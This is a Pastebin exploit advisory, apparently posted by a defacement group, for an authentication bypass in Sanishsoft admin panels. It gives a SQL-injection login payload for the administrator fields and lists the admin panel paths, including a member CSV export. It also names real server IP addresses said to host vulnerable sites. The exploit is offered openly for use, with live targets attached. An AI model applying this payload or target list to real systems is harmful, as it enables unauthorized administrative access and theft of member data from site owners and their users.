API tools faq
paste
KingSkrupellos

Sanishsoft Authentication Bypass

KingSkrupellos
Dec 12th, 2020
219
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.58 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : Sanishsoft Authentication Bypass
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 13-12-2020
  7. # Vendor Homepage : sanishsoft.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-287 [ Improper Authentication ]
  12. CAPEC-115 [ Authentication Bypass ]
  13. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  14. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  15. # Zone-H : zone-h.org/archive/notifier=KingSkrupellos
  16. zone-h.org/archive/notifier=CyBeRiZM
  17. # Pastebin : pastebin.com/u/KingSkrupellos
  18.  
  19. ####################################################################
  20.  
  21. # Impact :
  22. ***********
  23. CWE-287 [ Improper Authentication ]
  24. ************************************
  25. Authentication is any process by which a system verifies the identity of a user who wishes
  26. to access it.When an actor claims to have a given identity, the software does not
  27. prove or insufficiently proves that the claim is correct. Improper authentication
  28. occurs when an application improperly verifies the identity of a user.
  29. A software incorrectly validates user's login information and as a result, an attacker can
  30. gain certain privileges within the application or disclose sensitive information that allows
  31. them to access sensitive data and provoke arbitrary code execution.
  32. The weakness is introduced during Architecture and Design, Implementation stages.
  33.  
  34. CAPEC-115 [ Authentication Bypass ]
  35. *************************************
  36. An attacker gains access to application, service, or device with the privileges
  37. of an authorized or privileged user by evading or circumventing an authentication mechanism.
  38. The attacker is therefore able to access protected data without authentication ever having taken place.
  39. This refers to an attacker gaining access equivalent to an authenticated user without ever going
  40. through an authentication procedure. This is usually the result of the attacker using an unexpected
  41. access procedure that does not go through the proper checkpoints where authentication should occur.
  42. For example, a web site might assume that all users will click through a given link in order to get to
  43. secure material and simply authenticate everyone that clicks the link. However, an attacker might be
  44. able to reach secured web content by explicitly entering the path to the content rather than clicking
  45. through the authentication link, thereby avoiding the check entirely. This attack pattern differs from
  46. other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than
  47. faking authentication by exploiting flaws or by stealing credentials from legitimate users.
  48.  
  49. ####################################################################
  50.  
  51. # Authentication Bypass / Improper Authentication /
  52. Admin Panel Login Bypass Exploit / File Upload => Unauthorized File Insert
  53. ******************************************************************
  54. Administrator Username : '=''or'
  55. Administrator Password : '=''or'
  56.  
  57. /prime_admin
  58. /prime_admin/dashboard.php
  59. /prime_admin/sub_admin.php
  60. /prime_admin/addedit_sub_admin.php
  61. /prime_admin/members.php
  62. /prime_admin/members.php?download=csv
  63. /prime_admin/ad.php
  64. /prime_admin/history.php
  65. /prime_admin/addedit_news.php?category=History
  66. /prime_admin/education.php
  67. /prime_admin/addedit_news.php?category=Education
  68. /prime_admin/job.php
  69. /prime_admin/addedit_news.php?category=Job
  70. /prime_admin/help.php
  71. /prime_admin/addedit_news.php?category=Help
  72. /prime_admin/marriage.php
  73. /prime_admin/addedit_news.php?category=Marriage
  74. /prime_admin/event.php
  75. /prime_admin/addedit_news.php?category=Event
  76. /prime_admin/trust.php
  77. /prime_admin/addedit_news.php?category=Trust
  78. /prime_admin/news.php
  79. /prime_admin/addedit_news.php?category=News
  80. /prime_admin/gallery.php
  81. /prime_admin/addedit_news.php?category=Gallery
  82. /prime_admin/change_password.php
  83.  
  84. ScreenShot Proof Administrator Control Panel =>
  85.  
  86. https://www.upload.ee/image/12633379/sanishsoft2xcxsec-12-12-2020.png
  87.  
  88. https://www.upload.ee/image/12633377/sanishsoftvulncxsec12-12-2020.png
  89.  
  90. Example Vulnerable IP Addresses and Websites =>
  91.  
  92. Reverse IP results for (103.83.81.144)
  93. There are 613 domains hosted on this server.
  94.  
  95. Reverse IP results for (103.92.235.85)
  96. There are 61 domains hosted on this server.
  97.  
  98. ####################################################################
  99.  
  100. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  101.  
  102. ####################################################################
  103.  
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!